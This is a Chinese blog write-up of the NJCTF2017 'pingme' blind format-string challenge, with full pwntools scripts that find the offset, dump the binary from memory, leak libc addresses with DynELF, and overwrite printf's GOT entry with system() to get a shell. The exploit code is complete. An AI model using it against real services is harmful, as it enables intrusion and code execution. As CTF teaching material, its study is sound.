NJCTF2017-pingme-wp

文件下载
注意这题是无源码和二进制文件的题目(blind fmt)
在这里插入图片描述
运行发现是输入字符串然后回显, 输入长字符常看是否崩溃判断溢出, 输入格式化字符串查看输出判断格式化漏洞
在这里插入图片描述
初步判断有格式化漏洞, 且AAAA在第7个参数位置, 也可以用pwntools的fmtstr模块确认位置

from pwn import *
io = process('./pingme')

def exec_fmt(payload):
    io.sendline(payload)
    info = io.recv()
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset

print 'offset: ', offset

在这里插入图片描述
既然有格式化漏洞, 接下来就可以把二进制文件从内存中dump下来
先启动端口

socat tcp4-listen:10001,reuseaddr,fork exec:./pingme
from pwn import *

def dump_memory(start_addr, end_addr):
    result = ""
    
    while start_addr < end_addr:
        io = remote('127.0.0.1', '10001')
        io.recvline()
        payload = "%9$s.AAA" + p32(start_addr)
        io.sendline(payload)
        data = io.recvuntil(".AAA")[:-4]
        if data == "": data = "\x00"
        
        log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
        result += data
        start_addr += len(data)
        io.close()
    
    return result

start_addr = 0x8048000
end_addr = start_addr + 0x1000 #dump 0x1000 data should be enough
code_bin = dump_memory(start_addr, end_addr)
with open("pingme.bin", "wb") as f:
    f.write(code_bin)
    f.closed()

注意这有个小知识, 那就是32位程序在386系统中的虚拟地址都是从0x08048000开始
在这里插入图片描述查看printf的GOT地址: 0x08049974
在这里插入图片描述
接下就是泄露printf()的内存地址, 两种方法
方法一: 拿到libc.so, 归约到正常pwn题(
先泄露printf的虚拟地址, 然后到libc-database查询libc的版本拿到libc.so, 然后就可以计算出system()的地址

from pwn import *

io = remote('127.0.0.1', 10001)
printf_got = 0x08049974
def get_printf_addr():
    io.recvline()
    payload = "%9$s.AAA" + p32(printf_got)
    io.sendline(payload)
    data = u32(io.recvuntil(".AAA")[:4])
    log.info("printf address: 0x%x" % data)
    return data

get_printf_addr()

在这里插入图片描述
printf(): 0xf7d99020

… 之后补充libc方法exp

方法二: 使用DynELF进行无libc利用

from pwn import *

io = remote('127.0.0.1', 10001)
printf_got = 0x08049974

def leak(addr):
    io.recvline()
    payload = "%9$s.AAA" + p32(addr)
    io.sendline(payload)
    data = io.recvuntil(".AAA")[:-4] + '\x00'
    log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
    return data

data = DynELF(leak, printf_got)
system_addr = data.lookup('system', 'libc')
print(hex(system_addr))

在这里插入图片描述
完整exp

from pwn import *

io = remote('127.0.0.1', 10001)
printf_got = 0x08049974

def leak(addr):
    io.recvline()
    payload = "%9$s.AAA" + p32(addr)
    io.sendline(payload)
    data = io.recvuntil(".AAA")[:-4] + '\x00'
    log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
    return data

data = DynELF(leak, printf_got)
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info('system address: 0x%x' % system_addr)
log.info('printf address: 0x%x' % printf_addr)

payload = fmtstr_payload(7, {printf_got: system_addr})
io.recvline()
io.sendline(payload)
io.recv()
io.sendline('/bin/sh')
io.interactive()

在这里插入图片描述



总结

这段代码是泄露格式化漏洞参数位置的板子, 可以打熟了

from pwn import *
io = process('./binary') # change file name

def exec_fmt(payload):
    io.sendline(payload)
    info = io.recv()
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset

print 'offset: ', offset
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值